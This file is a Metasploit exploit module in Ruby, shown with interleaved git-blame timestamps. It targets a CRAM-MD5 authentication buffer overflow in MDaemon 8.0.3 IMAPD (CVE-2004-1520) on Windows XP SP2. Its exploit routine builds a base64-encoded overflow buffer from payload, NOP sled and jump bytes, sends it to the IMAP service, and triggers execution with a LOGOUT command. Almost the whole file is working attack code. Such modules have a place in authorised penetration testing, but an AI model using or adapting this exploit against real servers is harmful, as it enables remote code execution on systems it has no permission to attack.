2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Imap
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the CRAM-MD5
|
|
|
|
authentication of the MDaemon IMAP service. This
|
|
|
|
vulnerability was discovered by Muts.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Unknown' ],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-1520'],
|
|
|
|
[ 'OSVDB', '11838'],
|
|
|
|
[ 'BID', '11675'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 12 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Asking for CRAM-MD5 authentication...")
|
|
|
|
sock.put("a001 authenticate cram-md5\r\n")
|
|
|
|
res = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Received CRAM-MD5 answer: #{res.chomp}")
|
|
|
|
# Magic no return-address exploitation ninjaness!
|
|
|
|
buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
|
|
|
|
req = Rex::Text.encode_base64(buf) + "\r\n"
|
|
|
|
sock.put(req)
|
|
|
|
res = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Received authentication reply: #{res.chomp}")
|
|
|
|
print_status("Sending LOGOUT to close the thread and trigger an exception")
|
|
|
|
sock.put("a002 LOGOUT\r\n")
|
|
|
|
res = sock.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Received LOGOUT reply: #{res.chomp}")
|
|
|
|
select(nil,nil,nil,1)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|